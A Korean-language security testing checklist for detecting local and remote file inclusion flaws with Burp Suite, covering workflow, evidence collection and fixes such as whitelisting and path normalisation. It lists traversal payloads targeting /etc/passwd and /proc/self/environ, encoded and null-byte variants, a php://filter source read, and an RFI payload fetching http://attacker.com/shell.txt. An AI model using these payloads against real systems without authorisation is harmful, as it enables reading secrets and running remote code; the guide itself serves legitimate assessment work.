Burp로 파일 포함(Directory Traversal) 취약점 탐지
Burp Suite를 이용해 LFI·RFI 취약점을 식별하는 절차, 대표 페이로드, 검증 방법과 증거 수집, 우선순위 기반 대응 방안을 정리한 현업용 검사 체크리스트
목차
개요
파일 포함 취약점은 외부 입력을 통해 서버의 파일 경로를 제어할 수 있을 때 발생한다. 로컬 파일 포함(LFI)은 서버 내부 파일을 읽게 하고, 원격 파일 포함(RFI)은 외부 코드를 실행시킬 위험이 있다. 본문은 Burp Suite를 중심으로 파일 포함 취약점을 탐지하는 실무 절차를 설명한다. 핵심 키워드로 Burp 파일 포함 테스트, 디렉터리 트래버설 Burp, Burp LFI RFI 검사가 자연스럽게 포함되어 있다.
원리와 위험성
어떤 문제를 야기하는가
파일 포함은 민감한 설정파일 노출, 인증 우회, 원격 코드 실행으로 이어질 수 있다. 특히 웹서버 환경설정이나 비밀번호 파일이 노출되면 심각한 침해로 연결된다. 공격자는 상대경로와 절대경로, URL 포함 방식 등을 사용해 취약점을 공략한다.
공격 패턴
- ../ 나 반복된 ../ 패턴으로 상위 디렉터리 접근
- 파일 경로 인코딩(%2e%2e%2f 등)을 통한 우회
- Null byte, 널 문자 우회(일부 오래된 서버)
- 원격 URL 포함을 통한 외부 페이로드 로딩
Burp 준비 및 기본 설정
프록시를 통해 브라우저 트래픽을 Burp로 수집한다. 검사 대상 페이지를 Burp Proxy로 통과시킨 뒤, 의심되는 파라미터를 Repeater 또는 Intruder로 전송해 변형 테스트를 진행한다. Burp LFI RFI 검사 시 다음 도구 조합이 유용하다.
- Proxy: 요청 수집 및 핸드오프
- Repeater: 수동 페이로드 테스트
- Intruder: 대량 페이로드 반복 주입
- Scanner/Fuzzer(유료 또는 확장): 자동 탐지 보조
예시 HTTP 요청
GET /index.php?page=home HTTP/1.1
Host: vulnerable.local
User-Agent: Mozilla/5.0
Accept: */*
테스트 절차
절차는 단계별로 진행한다. 먼저 입력 벡터를 식별하고, 이후 페이로드를 적용해 응답 변화를 확인한다. 체크포인트는 에러 메시지, 파일 내용 일부, 응답 길이 변동, 서버 헤더 변화 등이다.
단계별 흐름
- 입력 포인트 식별: URL, POST 바디, 헤더, 쿠키 등
- 기본 페이로드 적용: ../ 등 단순 경로 상승 시도
- 인코딩 변형: %2e%2e%2f, ..%2f 등
- 파일 확인: /etc/passwd, /proc/self/environ, 웹 루트 파일 등
- 원격 포함 테스트: http://attacker.com/shell.txt 등
- 증거 수집: 성공 시 응답 캡처와 요청 로그 저장
페이로드 설계
효과적인 페이로드는 다양한 변형을 포함한다. 간단한 traversal에서 시작해 인코딩, 디코더 우회, 윈도우/리눅스 경로를 모두 검증한다. Burp 파일 포함 테스트에서는 페이로드 리스트를 준비해 Intruder로 일괄 검사하는 방식이 효율적이다.
대표 페이로드 목록
../../../../etc/passwd
..%2f..%2f..%2f..%2fetc%2fpasswd
/../../../../../../etc/passwd
../../../../proc/self/environ
php://filter/convert.base64-encode/resource=index.php
http://attacker.com/shell.txt
위 목록을 바탕으로 페이로드 조합을 만들면 우회 기법을 더 쉽게 찾을 수 있다. 예를 들어 널 바이트(%00)나 공백 인코딩을 사용하는 방법도 검토한다.
검증과 증거 수집
단순한 문자열 매칭만으로는 부족하다. 파일 내용 일부, 예기치 않은 에러, Base64로 인코딩된 출력 등 명확한 증거를 수집해야 한다. Burp의 Repeater에서 변조 전후 응답을 비교하고, 성공 시 요청과 응답을 저장해 보고서에 첨부한다.
확인 포인트
- 예상 파일의 일부 내용 노출
- 서버 측 에러 메시지(파일 경로 포함)
- 응답 길이의 급격한 변화
- 외부 리소스 호출 로그(서버 쪽 요청 로그 연동 시)
실무 대응 방안
발견 즉시 임시 차단과 패치 검토가 필요하다. 입력값 검증, 화이트리스트 경로 지정, 파일 접근 권한 최소화 등의 조치가 우선이다. 원격 파일 포함의 경우 외부 URL 호출을 금지하거나 검증하는 정책을 적용한다.
권장 개선 사항
- 입력 검증: 화이트리스트 기반의 파일명 또는 ID 사용
- 경로 정규화: 서버에서 절대 경로로 변환 후 유효성 검사
- 권한 최소화: 민감 파일에 대한 읽기 권한 제한
- 로깅 및 모니터링: 비정상 파일 접근 탐지 규칙 추가
체크리스트
- 입력 포인트 전수 수집 여부 확인
- 대표 페이로드와 인코딩 변형 적용 여부 확인
- 검증 가능한 증거(요청/응답 캡처) 확보 여부
- 우선순위 분류 및 패치 권고안 작성 여부
마무리
Burp를 사용한 파일 포함 탐지는 반복적이고 체계적인 접근이 핵심이다. Burp 파일 포함 테스트와 디렉터리 트래버설 Burp, Burp LFI RFI 검사 관점에서 다양한 페이로드와 검증 방법을 준비하면 탐지 성공률을 높일 수 있다. 결과는 증거 중심으로 정리해 우선순위에 따라 대응 계획을 수립한다.